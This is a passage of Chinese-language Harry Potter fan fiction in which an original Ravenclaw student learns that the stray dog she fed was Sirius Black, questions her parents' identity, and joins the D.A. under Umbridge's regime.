这个学期还有很长时间给他们练习。
克洛娜第二次需要面对博格特的时候,她从容地挥动魔杖,让博格特变成一大堆卡通片里的眩晕小鸟,绕着教室里每个人的头顶叽叽叫。
时间飞快地流逝,转眼间,三强争霸赛最后一个项目已经进入一个月倒计时了。
所有人都开始猜测第三个项目到底是什么内容,以及哪个学校能拿到最终的奖杯。
弗雷德和乔治每天都在霍格沃茨走廊里四窜,把奖杯的奖金炒得越来越高。还真有些斯莱特林赌哈利·波特会输掉,金妮说他们正在试图攒钱,为了开商店,以至于行为有点过于激进了,这样下去,他们最后不是因为欠债被追杀就是被抓进魔法部被判欺诈。
“到多少了?”克洛娜感兴趣地问。
“已经将近一千加隆了,”金妮愤怒地说,“这两个蠢货绝对会被关起来!”
“五百加隆才能起诉。”
“什么——?”金妮提高声音,“这法律是怎么搞的,五百加隆才能起诉?!”
听起来就像她希望她的哥哥们被起诉似的。
“这就要问问魔法部了。”克洛娜说。
金妮的怒火平息了一点。她抱着魔药书,和克洛娜一起穿过霍格沃茨一楼长长的走廊,走下楼梯,经过热热闹闹的赫奇帕奇休息室,以及不友好的斯莱特林休息室,迈克尔·科纳没有和她在一起,他们前两天吵架了。
“要是他们真的欠债了,家里必定会腥风血雨。我妈妈每天都为了他们两个头疼。”
“他们确实不算很听话的男孩。”
“我妈妈肯定会特别喜欢你这样的女儿……”金妮说,她的目光看向别处,像是在检查是否有人听到了她们说话,发现周围并没有其他学生注意到她们之后,金妮问道:“克洛娜,你还记得你妈妈吗?”
“我都记不清了。”克洛娜说,她很少提起母亲,“很多年前她就去世了。”
“她是个女巫吗?”
“她是麻瓜。”
“其实,”金妮说,“我一直想问,你的博格特……和你妈妈有关吗?”
克洛娜微微愣了一下,回想起黑魔法防御术教室中发生的事情。
“没有啊,”她坦然回答,“我的母亲是个普通人,挣扎于生计,她一直在工作。童年的大部分时间,我都被一个人留在公寓里。”
金妮似乎还在等克洛娜说什么,但是克洛娜对于自己的母亲真的没什么好说的。三秒之后,金妮问道:“她真的不是个巫师?”
“真的。”
金妮抬起手,捏了一下克洛娜的肩膀,飞快地说:“我很抱歉,克洛娜。”
她们已经走到魔药教室的门口了。
“没关系……”克洛娜说,她并没有很介
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意。金妮是个开朗的女孩,无论她问出什么问题,克洛娜认为她绝不会有恶意。
克洛娜原本以为这个话题就这么结束了。然而,让她完全没想到的是,过了一段时间,期末周如火如荼地接近尾声的时候,著名的救世主哈利·波特找到了她。
克洛娜刚从图书馆里走出来,就看到哈利、赫敏和罗恩出现在不远处。
而金妮站在他们的身边。
“这是哈利,他有些事情想跟你谈一下。”金妮抢先说。
“克洛娜,嗨,”哈利有些腼腆地笑了一下,“你好,我是哈利·波特。”
“嗨?”克洛娜困惑地看向金妮,“跟我谈吗?”
金妮点了点头。
是什么让大名鼎鼎的哈利波特想和她谈……哈利作为勇士,今年不需要参加期末考试,为什么要来找她呢。难道是为了三强争霸赛的最后一个项目?但是她只是个三年级的学生,三强争霸赛所需要的知识至少要七年级,她也没有任何地方能帮上他啊……
“要是你有时间的话,”哈利说,他看向路过的学生,“我们去湖旁边说吧,这里人太多了,今天天气不错。”
哈利·波特三人组总是这么神秘兮兮的?
克洛娜向金妮递去一个眼神,金妮回望她,问道:“克洛娜,你写完期末论文了吗?”
好吧,看来金妮跟他们是一伙的,也被他们拐进去了,还一点都不肯透露信息。
“写完了,”克洛娜说,“我有时间。”
她刚刚写完论文……
很难说金妮是不是特地挑选这个时间带着哈利来的。
哈利·波特和他的朋友们,以及金妮,带着克洛娜向湖边那颗山毛榉树走去。
夏天将近,气温逐渐攀升,阳光毒辣起来,实际上克洛娜非常不想在这个时候出门,如果可以的话,她能一直缩在城堡里。对于浅色眼睛的人来说,阳光非常不友好,总是会让她双眼酸痛。
期末时间,湖边的学生很少,大家都忙着写论文以及复习。山毛榉树下空荡而安静,湖面上反射着粼粼闪光,暖风抚过青草和树枝,留下一片温柔的浪花声。
“所以到底是什么事?”克洛娜问道,她眯起眼睛,金色的阳光刺着她的视网膜。
“是关于你父母的,”金妮说,“哈利犹豫了很久。”
哈利·波特说:“金妮建议我直接来问你,毕竟我们猜来猜去的也不会有结果……”
克洛娜搞不清楚情况了。
“我父母?”
“是这样的,克洛娜,”金妮说,“你记得小猪吗?就是朱薇琼,罗恩的猫头鹰,我当初告诉你,是一个亲戚送给罗恩的。”
“记得。”克洛娜说。
把她给姨妈寄的信送错地址,她怎么可能不记得。而回信中大脚板列出的霍格沃茨七大密道,至今仍然在克洛娜的魔咒书里夹着,虽然她使用得次数很少,但是她觉得留着这张纸总有用处。
“实际上不是我的亲戚,”罗恩看了一眼哈利,“是哈利的。”
“克洛娜,”赫敏说,“接下来听到任何事情,请不要惊慌,我们没有任何恶意。”
哈利和罗恩赞同地频频点头。
“小猪……是我的教父送给罗恩的。”哈利说,“我的教父是小天狼星·布莱克。”
小天狼星·布莱克……
越狱的那个小天狼星·布莱克???
臭名昭著的杀人犯?!
5. 第 5 章
那个去年一年都在被魔法部通缉,引来魔法部调动几乎整个阿兹卡班的摄魂怪,每天在校园里游荡,导致近半数学生至今仍然心理阴影的——小天狼星·布莱克?
“……啊?”
克洛娜震惊到不知道应该发出什么声音了。
“我们现在还保持联络,”哈利说,然后飞快地补充道,“是因为——他是无辜的。你肯定已经从《预言家日报》上看到了,那场让我父母去世的谋杀,他们说背叛我父母的人是小天狼星——但是这些说辞都是栽赃嫁祸,真正的罪犯另有其人!小天狼星是被陷害的!”
赫敏说:“真凶是一个未注册的阿尼马格斯,叫做彼得·佩迪鲁,他去年逃走了,所以小天狼星也只能逃亡。”
“彼得·佩迪鲁伪装成耗子一直住在我家里,当我的宠物,恶……现在想起来我还是汗毛倒竖,真见鬼……”罗恩说,“后来——小天狼星就把小猪送给了我,弥补我因为他丢了宠物这件事……所以他是个好人——”
“——没错,”哈利接着说,“小天狼星还带走了原本要被处刑的巴克比克,现在他是我唯一的亲人了。邓布利多教授也知道这件事。”
“小天狼星也是个阿尼马格斯,他能变成一条黑狗。”金妮说,“这个暑假我就有点怀疑,你在禁林喂养的‘伤风’实际上就是他。”
金妮说完后,哈利点了点头。
他说:“小天狼星一直在用‘伤风’这个名字和我通信,后来他告诉我,伤风确实就是你给他取的名字。”
四个格兰芬多恳切地望着克洛娜。
“……”
而克洛娜瞠目结舌地看着他们。
不是,你们……
什么背叛,彼得,老鼠,逃亡,巴克比克,阿尼马格斯,邓布利多教授……乱七八糟的……
这跟伤风有什么关系。
你们讲清楚一点啊!
她养的狗怎么就是人了?!
还是个通缉犯?!!!
克洛娜抽出魔杖,将魔杖杖尖对准哈利。四个人都向后退了一步,赶紧拔出自己的魔杖。四对一有点不公平,除了金妮之外,他们都是高年级的学生。虽然克洛娜连金妮都打不过,但她必须要试一下,否则接下来不知道还会发生什么——
金妮喊道:“克洛娜,你在做什么!”
“哈利,抱歉,你一定是中了夺魂咒,不管你听布莱克说了什么——”克洛娜说,她大声念出咒语,“昏昏倒——”
“除你武器!”
哈利速度极快,先她一步夺走了她的魔杖。
“我没有中夺魂咒,”哈利说,把魔杖还给她,“对不起,这样是不是太突兀了。”
不愧是三强争霸赛的勇士……
克洛娜握着魔杖。
“有的时候混淆咒也会让你分不清什么是现实,”克洛娜说,“你应该把这件事告诉你们的院长。让麦格教授……还有弗立维教授给你做个检查,看看你脑子里的记忆是不是被篡改过。”
“我很好,”哈利说,“而且邓布利多教授确实知道这件事。”
“或许你听说过大脑封闭术——”
“谢谢,克洛娜,我很好!绝对没有中咒语什么的,小天狼星没有调换我的记忆。罗恩和赫敏都在这里,他们可以作证!”
“一个成年黑巫师袭击三个孩子易如反掌。”
“那‘伤风’呢,他从来都没有伤害过你,如果他是黑巫师,他肯定早就杀人灭口了。”
“……”
是啊,除非哈利说的是真的,否则他们怎么会把通缉犯小天狼星·布莱克和一条流浪狗联系在一起?
而且,小天狼星·布莱克为什么会找她?她和巫师界的任何人都无冤无仇,只是个普普通通的拉文克劳三年级学生。救世主三人组完全没有必要为了和她说话跑一趟。要是布莱克想招募食死徒,也不用从一个拉文克劳学生开始啊——据她所知,黑魔王的信徒肯定更想要纯血统斯莱特林。
但是……克洛娜无论如何都不想相信,自己养的狗其实是个男巫。
她实在是接受不了……
伤风那么可爱,会仰起头,用亮晶晶的眼睛看着她,笑着听她说话,就好像它能听懂一样。虽然克洛娜知道狗肯定听不懂她在说什么,狗的智商最高不超过六七岁的小孩子。但是,克洛娜每次和它说话,它都会吐着舌头,露出充满希望的表情。克洛娜看着它逐渐从凶神恶煞的恶犬变成讨人喜欢的小狗……她每天晚上最值得盼望的事情,就是跑到禁林给它带好吃的,然后等它一口一口地吃光。
它还会把鸡脆骨嚼出咯吱声!
不可能,伤风它绝对不是……
绝对不可能!
“伤风不可能是阿尼马格斯,我不相信!”克洛娜说。
“他的眼睛是灰色的。”赫敏说,“是不是?”
“对,但这证明不了什么,金妮和你们提起过……”
“你瞧,哈利,我和罗恩都没有见过你的那条流浪狗,金妮也没见过,但是我们知道他的模样。金妮,克洛娜和你提起过‘伤风’的长相吗?”
“没有,”金妮说,“我只知道伤风是黑狗,远远地见过,根本不知道它的眼睛颜色。我一直以为它是狼,只是克洛娜认错了,才把它当成小狗。”
不……
克洛娜绝望地想。她不要她养的狗变成人……
“是我擅作主张来问你这件事的,”哈利说,“实际上——小天狼星原本的意思是隐瞒这件事。但是那样的话,我们可能永远都无法接近事情的真相。”
“什么真相?”克洛娜痛苦的问。
哈利有些难为情,他看了一眼赫敏。
赫敏自然而然地向前走了一步,她露出同情的表情,说道:“克洛娜,很多巫师都会隐藏自己的身份,为了找一份工作,我的父母从来都不对外人提起我是个巫师,我知道这是为了保护我,或许你的母亲也为了保护你而隐藏了自己的身份——小天狼星碰巧刚好认识你的母亲,所以我们猜测,或许——她是个女巫。”
山毛榉树叶将阳光切分成细碎的小块,如同轻盈的金箔纸。克洛娜向后退了一步,她有些站不稳,甚至脑子发晕。夏日向她送来闷热的风,让她胸口发闷,心脏倏地收紧。
“什么东西……”克洛娜说。
赫敏和哈利对视了一眼。
“没关系,克洛娜,我直到十一岁才知道我父母是巫师。”哈利安慰道。
这显然没有什么效果。
“你们先对我说我的狗是人变的,然后又说我妈妈是巫师,你们是——”你们是脑子有什么问题吗?克洛娜把这句话生生咽了下去,感觉嗓子里酸苦又发涩,“你们是从哪听说的……”
“也许你妈妈有什么曾用名吗?”
“我妈妈叫安妮·史密斯。”
哈利挠了挠头
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。
“怎么回事……哈利。”赫敏小声问道。
“我不知道啊。”哈利对她说。
“我妈妈不是巫师,”克洛娜斩钉截铁地说,“如果她是的话,为什么她会在街上摔倒,失温一整夜后被我找到才得以送进医院!”
这是她从来没有对任何人提到的过去。
母亲经常凌晨才回家,除了在纽扣工厂上班,她还兼职了好几份工作,包括家教以及保姆。是克洛娜的魔法忽然感应到了母亲可能有生命危险,她那时只有七岁,在睡梦中兀然醒来,顶着寒风,在太阳升起前跑遍了整个城市。
那天,晨曦的阳关洒满地平线,她却只感觉到了寒冷。
“你是说你能确定你的妈妈不会魔法吗?她真的不是特地隐藏什么的?”罗恩睁大眼睛问。
“你少问两句吧。”金妮瞪了他一眼,警告道。
克洛娜深吸了一口气。
至少金妮是相信她的,她逐渐平静下来。
“是的,”克洛娜说道,“如果她会魔法,恐怕我们早就去抢劫古灵阁了。我的巫师血统来自我父亲。”
“那你的父亲……?”哈利小心翼翼地问。
克洛娜回答他:“他消失了。”
唉,既然他们想刨根究底,不如告诉他们好了。
克洛娜继续说:“我至今不知道他是不是已经死了,或许是有什么不得已的原因,他才抛弃了我们,但是他姓巴沙特——他是个巫师,巴沙特在魔法界是个很常见的姓氏,不是吗?《魔法史》的作者就姓巴沙特。”
哈利和罗恩以及赫敏意味深长地对视了一下。
“克洛娜……”哈利开口道,“你有没有想过,你的父亲可能没有死……我是说……他要是真的就是因为一些迫不得已的苦楚,暂时没办法回到你的身边呢……”
克洛娜不明所以地看着他。
“被什么事情耽搁了。”罗恩说。
“或者是实际条件不允许。”赫敏说。
“但是他肯定很想弥补你——”哈利说。
克洛娜望着三个人,她的大脑飞速运转,把三个人你一言我一语灌输给她的信息拼凑在一起。如果不是哈利·波特亲口说出“小天狼星·布莱克是被人陷害的,他没有背叛我父母”这种话,并且用诚恳的绿色眼睛看着她,她绝对会再对他念一次昏昏倒地。
但是她的临场反应能力并不像理论那么出色,她可以独自研究空间咒语一整个月,但却会被金妮简单的锁腿咒偷袭绊倒。
说不定又会被哈利缴械……
为什么哈利·波特的缴械咒用得那么熟练?!
母亲确实对她说,她的父亲无法回家,但是究竟是什么原因,母亲始终没有提到过。如果父亲已经死了,为什么母亲没有领到保险金呢?这样的话她也不至于打几份工,最后生病离世。
小天狼星·布莱克被关进阿兹卡班十余年,或许她的父亲也是因为做了什么错事,所以在巫师的监狱里呢……
她还没有想过这件事……
万一,是真的呢……
“我不知道。”克洛娜最后对哈利说,“反正我没见过他……”
哈利问道:“你父母留下过照片吗,克洛娜?”
“我有我妈妈的。”克洛娜说。
“如果有的话就太好了,”哈利松了一口气,“希望你不介意——能让我们带着照片去问问小天狼星吗?”
6. 第 6 章
克洛娜从宿舍里取来照片交给哈利。
但是接下来,哈利没有时间再来找她了,因为三强争霸赛的最后一场比赛夺走了塞德里克·迪戈里的生命,传言中黑魔王伏地魔死而复生,魔法部坚定的称其是个彻头彻尾的谎言,穆迪教授被发现是小巴蒂克·劳奇假扮的……
整个学期在可怕的悲伤中结束。似乎每年都是这样的结局。
克洛娜有一种感觉,邓布利多教授找来狼人、黑巫师来当他们的黑魔法防御术老师,有很大概率是因为……这样是最好的练习防御术的教育方式。
毕竟。没有什么比面对货真价实的食死徒更能激发学生们的黑魔法防御术潜力了。
不过邓布利多被魔法部称为骗子。
放假前的那几天,霍格沃茨淹没在哀痛中。秋·张的状态非常不好,她总是坐在公共休息室里黯然神伤。
随后,学生们像是一群生病的兔子一样,没精打采地被驱逐出霍格沃茨,又被站台上忧心忡忡的父母接走。
暑假开始了。
炎炎烈阳几乎要将天地之间的一切都晒到融化。一整个假期,克洛娜几乎都躺在床上,她热得心浮气躁,甚至连书都看不下去了。
她勉强做完了暑假作业,长篇大论地写关于耐力药剂的论文,写到最后,甚至不知道自己究竟在写什么。但是一想到斯内普教授在读这篇论文的时候大概会被害得眼疾,她就决定再加几页纸。
克洛娜从没有哪个假期这么渴望回到国王十字车站。
只要坐上通往霍格沃茨的列车,她就能用魔法了——每每想起魔杖,她都无比渴望举起魔杖对着自己用一个冰冻咒。
但那样会导致她违反法律被开除,只能作罢……
最近的《预言家日报》有日渐疯癫的趋势,克洛娜感觉这简直和首相大选有一拼了——魔法部分为反对邓布利多的一派,以及支持邓布利多的一派。《预言家日报》站在了坚决不相信伏地魔复辟派,他们肆无忌惮地对邓布利多进行抨击,将邓布利多描述成一个散布恐慌,敛财贪权,觊觎魔法部部长职位的老头。而《唱唱反调》则刊登了一些指责康奈利·福吉嫉妒邓布利多,政绩不加,软弱昏庸的文章。
这个夏天非常苦闷,报纸杂志上的口水战无聊至极。
而且实在是太热了。
就连金妮都没怎么给她写信。
只有暑假刚开始的时候,克洛娜收到一张绑在猫头鹰脚上的字条。
金妮简略地告诉她:最近她们无法通信了,一切等到开学之后再说。
她没有用埃罗尔送信,克洛娜怀疑埃罗尔已经寿终正寝了。
某天,《预言家日报》忽然出现了哈利·波特在魔法部接受审讯的新闻。
克洛娜隐隐感觉这一年不会好过。
而开学后,坐在学院长桌上,看着他们新的黑魔法防御术老师。
克洛娜再次确信了这个想法。
……
乌姆里奇简直是个噩梦。
还不如让伏地魔来给他们上黑魔法防御术。
听说开学的第一堂课,哈利就和乌姆里奇吵起来了,并且被乌姆里奇关了禁闭。
金妮、卢娜和克洛娜仍然一起上课,克洛娜询问金妮有关假期的事情。她们满手都是土,正在按照斯普劳特教授的要求裁剪白花黑根草的根茎。
“假期的时候我们一直住在……”金妮说,她顿了顿,然后换了一种说法,“我们从陋居搬走了。”
“你们换新家了吗?”
金妮剪下根茎,将根须摆放在包裹根茎用的白布上。
“这个假期过得太混乱了——珀西进入了魔法部,和爸爸吵的不可开交。哈利突然被袭击,家里乱成一锅粥,忙得要命。我爸爸还要带着哈利去魔法部受审。我们被关起来不允许出门,简直是把我们当食尸鬼养。”
她一刀戳在泥土里,十分用力。
“我看了报纸,”克洛娜说,“虽然不能这样揣度人心——但我觉得摄魂怪是被人特地放出来的。”
“哈利说,邓布利多教授也是这么说的。”
“所以审判的时候哈利无罪释放,他们不想查下去了,是吧?”
“看来是这样。”
“这么说吧,只要他们做过,就会留下痕迹。”
摄魂怪不可能是自己从阿兹卡班跑去女贞路的。
阿兹卡班距离萨里郡五百多英里,而摄魂怪行动必定会留下痕迹,也容易被发觉——比如夏天的大幅度降温。
因为这个夏天太炎热,总会有人察觉到这点。
除非有人指定摄魂怪袭击某个囚犯,否则它们选择食物就是随机的。而无论是否有人授意摄魂怪,这个行为都不是很明智……调派摄魂怪需要向阿兹卡班递交申请,经办人至少有两名,并且足够高权限。
要是哈利没有被判处无罪,魔法部也根本不会深究下去。
克洛娜将渐行渐远的思绪拽回来。
“等等,你们被关起来了,那是什么意思?”她问。
金妮看了一眼身边的卢娜。
卢娜抬了抬头,雾蒙蒙的视线从金妮身上拂过,“别在意我,你们继续,当我不在这里——”
“哈利这个暑假和‘伤风’住在一起。”金妮说,“外面太危险了,神秘人卷土重来,妈妈不让我们出门,而且什么都不告诉我们。”
“什么?”克洛娜问,“你们把狗关在屋里?!”
“所有人都被关在屋里。”金妮说。
狗被关在屋里会焦虑到咬秃自己的毛……克洛娜想起自己看过的麻瓜报纸中的一则报道。她下意识觉得伤风是狗,因为有一整年的时间,她都惦记着养伤风这件事。
一秒之后。克洛娜猛地回忆起,上个学期快要结束时,她得知了伤风不是狗……
梅林在上!
她干嘛要管一个——不是狗的——人——有没有焦虑症。
克洛娜决定再也不想着养狗了。
她对金妮说:“福吉肯定不希望伏——”
“神秘人。”金妮纠正道。
“——神秘人复活。”克洛娜说,“如果神秘人卷土重来,他的位置就坐到头了,我相信哈利。所以我觉得他不用这么快就亮出自己的底牌——比如说在课堂上和乌姆里奇吵架……他的日子只会更艰难。”
“我搞不懂魔法部为什么会这么做。”金妮生气地说。
卢娜的声音在她身边响起。
“人们看待这个世界的时候会反射出他们自己的样子。”卢娜垂下视线,整理着剪好的根茎,她抬头对金妮微笑了一下,“所以他们会忘记自己。”
“卢娜说得不错。”克洛娜说。
“这么说,福吉反对邓布利多教授,是因为他害怕邓布利多教授所说的可能会变成真的……?”
“显而易见,”克洛娜说,“不然他也不会费那么大力气把乌姆里奇放到邓布利多教授的身边。”
“你应该提醒一下哈利,”金妮说,“他马上就要被乌姆里奇关禁闭了。”
“金妮,你们在同一个公共休息室。”
“好吧,那我提醒他。”
凑巧的是,她们刚走出温室就遇见了哈利。
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哈利看起来精神非常不好,目光暗淡,眉心凝聚着愁郁,头发乱糟糟的,就像他真的在这个假期被关进了阿兹卡班。
两个格兰芬多一看到卢娜就笑了起来,导致克洛娜转过头看卢娜身上是不是沾了什么东西——但是除了泥土之外什么都没有。格兰芬多总是有很多莫名其妙的快乐,就像世界上的一切都能让他们发笑。
哈利似乎看到克洛娜的那一刻才想起来照片这件事,他马上露出内疚的表情。
“克洛娜。”哈利没精打采地和克洛娜打招呼,“十分抱歉这个假期没联系你,伤风让我给你带一封信。很遗憾我们没能找到你的父亲……”
“哦……”克洛娜说。
哈利把一张字条,以及克洛娜母亲的照片塞进她的手心里,就去上课了。
母亲的模样在那张泛黄的小照片中凝固着,麻瓜的照片不会动,母亲那双蓝色的、忧郁的眼睛看向镜头,似乎永远都不会改变。她真的很年轻,浅棕色的头发浓密而柔顺,包裹着她消瘦的脸。拍这张照片的时候,她的嘴角微微扬起弧度,但是眼睛里却看不到任何快乐。
克洛娜打开字条,上面是她曾经见过的字迹,如同英国古老的贵族那般优雅精致。
克洛娜·巴沙特小姐,
感谢你所做的一切,使我永生难忘。希望你能永远快乐,向你致以最诚挚的祝福。
你真诚的朋友,
伤风
没有关于父亲的消息,也没有详尽的解释,信的内容过分简短,像是随手写的一个交代。克洛娜失望地驻足,等着所有的学生都走光了,她把母亲的照片放进口袋,那张字条则撕成碎片,扔进了温室旁边处理枯枝败叶的垃圾桶里。
让阿尼马格斯见鬼去吧。
……
四年级的课程并不紧张,但学生们已经开始学一些更高深的魔法了。
教师们都在竭尽所能多传授他们一些东西,避免当他们五年级面对O.W.Ls的时候措手不及。
但四年级仍然是倦怠的一年。
情窦初开的学生们忙着恋爱,埋头钻研的学生们逐渐找到自己的志趣,大部分学生开始在上课的时候打盹,恨不得睡过整个一个学年。
乌姆里奇开始干涉霍格沃茨,教育令一条接着一条地推出教育令,学生们私下里怨声载道,但却敢怒不敢言。
克洛娜花了更多的时间泡在图书馆里。
学习算数占卜之后,她的空间魔咒用得更熟练了。
现在她可以把小挎包内的空间扩大到十倍,并且将重力折叠,空间是个神奇的东西,扭曲空间可以让巫师从一个地方瞬移到另一个地方,但是却又压缩空间与穿越空间两种方式,前一种,换成实际一点的魔法就是幻影移形,后一种,则是消除时空的边界,进行更高维度的跨越。无痕伸展咒需要将两种魔法叠加,如果需要活体进入施了无痕伸展咒的空间,必须确保巫师不会在进入时会被拉伸到身体破碎,或者一不小心忽然老了几十岁。
她还测试了一下用拉丁语结合英文创造新的咒语,并且成功发明了一种读书小咒语。
用魔杖指着书本,念出“自动阅读”,书本里的内容就会开始在耳边播放,并且同时屏蔽外界的所有声音。
就像知识自动进入了脑子!
这个咒语给克洛娜的生活提供了相当大的便利——她把咒语透露给了卢娜,而后是宿舍里的另外两个女生,不出一周,四个人都过上了躺在床上听书入睡的日子。
看吧,拉文克劳的学生可以非常勤奋好学。
他们能够无比努力——只是为了偷懒。
7. 第 7 章
黑魔法防御术再次变了写作课。
乌姆里奇根本不让他们在课堂上拿出魔杖,克洛娜已经把那本《魔法防御理论》倒背如流了,但是她能确定,她在决斗里肯定赢不了金妮。
每次上课的时候,克洛娜都在课本上写写画画。
直到克洛娜的《魔法防御理论》密密麻麻地写满拉丁文,再也没有空白继续写咒语的时候。金妮邀请了她和卢娜一起去霍格莫德。
——为了建立黑魔法防御术小组。
哈利·波特当然不会在意违反校规。
克洛娜入学之后,就没见他有哪一天不违反校规。霍格沃茨的学生都有违反校规的魄力,而且拜托,谁不希望大难不死的男孩哈利·波特教他们黑魔法防御术,在场还有任何人真正面对过伏地魔吗?
但是克洛娜仍然觉得签名不是个好主意。
“这上面有牢不可破誓言吗?”
克洛娜犹豫不决,笔尖悬在羊皮纸上。她是最后一个签名的。
“不,”赫敏惊讶道,“克洛娜——牢不可破誓言可是要以生命为代价的!”
克洛娜担忧地看着她。
“我来保管名单,绝对不会让乌姆里奇得到她,除非她从我的尸体上跨过去。”赫敏说,“等制作完用于通讯的东西之后,我就会把这份名单销毁掉。”
克洛娜放心了一点。
一段时间之后,黑魔法防御术小组迎来了第一次集会。有求必应屋内,赫敏在所有人的面前烧掉了这份名单,然后给他们发了一枚通讯用的金加隆。
他们第一次需要训练的就是缴械咒。
哈利让克洛娜上前示范。
“除你——”
克洛娜的咒语还没念完,哈利就大喊了一声。
“除你武器!”
克洛娜完全来不及反应,她的魔杖飞向哈利的手中。
如同昔日情景重现,上一次,在山毛榉树旁边,哈利也是非常轻松地夺走了她的魔杖。而缴械咒只是个二年级的普通咒语,麦格教授带着她去对角巷买完书,请她吃了一顿三明治的间隙,她差不多就已经背下来这个咒语了,但是为什么每次都来不及用——
这一次,不只是罗恩、赫敏和金妮注视着她,整个防御小组的人都看向她和哈利,他们的目光让克洛娜更加无法集中精力。
真该死。
“忘了你的理论,克洛娜,”哈利说,“敌人在任何时间都有可能袭击你,你只能比他们更快。”
“魔杖飞来——”克洛娜伸出手。
她的魔杖从哈利手中挣脱,猛地跳回她的手中。
哈利惊喜地睁大眼睛。
“很好!无杖魔法!克洛娜,你可以——”
哈利的话还没说完,克洛娜就喊出咒语。
“除你武器!”
“——盔甲护身!”
哈利的反应每次都比她更快一步,克洛娜的咒语在无形的保护罩上闪烁了一下,如同一道火花。
克洛娜眯起眼睛。
“集中注意力,让它成为你下意识的反应,而不是一种想法,你的身体需要知道应该怎么做。”哈利说,他挥动魔杖,“除你武器!”
“除你武器!”
她几乎和哈利在同一时间喊出咒语,而眨眼间,她的魔杖又落进哈利手里。
D.A.的众人鼓起掌来。克洛娜脸颊发热,她输得很彻底,没有一次成功击败哈利。秋·张用亮晶晶的黑眼睛看向哈利,哈利腼腆地笑了一下。他走向克洛娜,把魔杖还给她。
“现在我们两人一组开始练习——”哈利宣布道。
接着,有求必应屋内乱成一团。
克洛娜发现她在没有面对哈利的时候,她的咒语水平也不是那么不堪一击。
她缴械了好几个人,包括卢娜。
魔杖到处乱飞,同时被击飞的还有各种小物件,咒语的光芒念咒的声音搅在一起,有不少念错咒语的,简直像是二年级决斗现场。卢平教授明明已经让他们练过这个咒语了,但是考试之后大家又把它忘了个干净,没有人会在日常生活中用到缴械咒,而魔法就像是语言,要么使用,要么忘记。
高强度自由练习同一个咒语的好处就是,肌肉会形成记忆。
正如哈利所说,逐渐的,使用这个咒语变成了下意识的反应。
到圣诞节之前,他们已经练习了大部分咒语,比如铁甲咒,石化咒和障碍咒。克洛娜终于打赢了哈利,哈利说她的进步速度很快,但她不这么觉得。
圣诞节期间,韦斯莱家出事了。
伏地魔复活的消息越来越真实,再也没有人不相信哈利说的话了,只有乌姆里奇是个例外。《教育令》变得更加令人窒息,很难不令人怀疑福吉和乌姆里奇的目的是让霍格沃茨变成一座中世纪修女院,有可能下一步魔法部就会要求学生为自己的贞洁歌唱。
而事实证明,即便没有那份名单,D.A.还是会被告密。
乌姆里奇抓到了哈利。
身居高位的人,想要给人定罪,根本不需要审判、物证,也根本不在乎反抗。他们想毁了另一个人,开口说一句话就足够了。
克洛娜来到霍格沃茨后最黑暗的一年,从邓布利多教授的离校开始。
她收到一张来自邓布利多教授的空白羊皮纸。
据哈利所说,当时校长室陷入一片混战,傲罗金斯莱·沙克尔击晕了魔法部的人,而邓布利多教授飞快地撕下一张羊皮纸,让哈利把这张羊皮纸交到克洛娜手里。
“为什么是我?”克洛娜困惑地看着那张空白的羊皮纸,“这是什么?”
“我们不知道,”哈利说,“邓布利多教授一整个学期都没跟我说话。”
“可是,为什么呀?”
“邓布利多教授给你留下了什么信息吗?比如隐形墨水之类的,只有你能看得到?”赫敏说,“试试显形咒。”
克洛娜举起魔杖。
“急急现形。”她念道。
纸上还是一片空白。
她换了一个咒语:“咒立停。”
空白。
“秘密显形。”
空白……
“可是邓布利多教授根本不认识我,”克洛娜说,“你确定他说了克洛娜·巴沙特吗?”
“是的。”哈利说。“你可以问麦格教授,她那时也在场。”
克洛娜搓平褶皱,把羊皮纸翻过来,又翻回去。
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无论是正面还是背面,都一无所有。
哈利在校长室肯定狠狠攥住了这张羊皮纸,尽力将它藏在掌心,以至于它已经皱得不像样了。
哈利、赫敏和罗恩显然是在等待克洛娜给他们一个答案,三个人,六只眼睛,目不转睛地看着克洛娜。
但是克洛娜也一头雾水。
邓布利多为什么要随手撕一张空白的羊皮纸给她?而且是指名道姓地给她?难道是因为她在选修课表现优异,所以在卸任前把奖学金发给她了?怎么可能,就算她拿霍格沃茨的奖学金,也是学校董事会发放的,霍格沃茨有那么多学生,得到奖学金的也不只她一个人,自从一年级开学到现在,她从来没有被校长找过呀——
“咳,咳。”
他们聚精会神地研究那张羊皮纸的时候,身后传来令人毛骨悚然的声音。
克洛娜转过头,乌姆里奇正站在走廊正当中。她穿着粉红色的高跟鞋,双手背在身后,脸上扬起黏糊糊的、虚假到不能再虚假的笑容,就像她的脸是热塑料做的,而眼睛只是镶嵌在眼窝里的珠子。
“禁止三人或三人以上的团体在学校里集会,波特。”
乌姆里奇露出甜甜的笑容,“鉴于第《二十四条教育令》,以及我身为校长对学生应当执行的权利,我必须予以你们警告——明天关禁闭,你们四个。”
克洛娜想以非法行刑和危害人身安全罪起诉她。
“好的,教授。”她看着乌姆里奇的眼睛说。
“名字?”乌姆里奇问道。
“克洛娜·巴沙特。”
“一个巴沙特。”乌姆里奇的嘴角拧起恶意的笑容,她的眼睛里冒出一种难以理喻的光芒。
“是的,教授。”
“你的手里拿着什么?”乌姆里奇问。
“擦狗屎用的纸。”克洛娜坦然地说,“我收养了一只流浪狗,教授。”
她展开羊皮纸,给乌姆里奇展示正反面。
“用纸巾擦太浪费钱了,所以我会收集一些废纸。你知道的,狗这种动物总有腹泻的毛病,它们会乱舔泥土,有的时候还会拉出布丁状的粪便和蠕虫。”
乌姆里奇那双酷似□□的眼睛在皱羊皮纸上来回检查,她差点没有抽出魔杖对羊皮纸念个咒了。
“教授,”克洛娜礼貌地问,“您也需要擦狗屎吗——”
“明晚六点,我的办公室。”乌姆里奇用甜甜的声音说,她转身离开了。
哈利、罗恩和赫敏都惊呆了。
乌姆里奇一走远,罗恩就忍不住叫了起来。
“真见鬼!你看到她的那张脸了吗。当你说出‘屎’的时候——这也太恶心了!克洛娜!简直比弗雷德和乔治的粪蛋都厉害。”
“我在书上看到过,”克洛娜说。“而且乌姆里奇更喜欢猫,不喜欢狗。”
哈利惊奇道:“你是怎么知道的?”
“她有严重洁癖……”
三个人都认真听她说。
克洛娜有些无奈,“……她的毛衣上别着猫咪胸针呢。”
哈利露出恍然大悟的表情。
“不过伤风真的拉过虫子吗……”罗恩小声问。只有克洛娜看见赫敏翻了个白眼。
8. 第 8 章
克洛娜回宿舍的路上,一直在思索邓布利多的羊皮纸是什么意思。
这张羊皮纸必定传递了某种信息,而邓布利多是本世纪最伟大的巫师。如果他用高深的咒语将信息加密,仅凭借一个四年级的学生怎么可能解读出来呢?
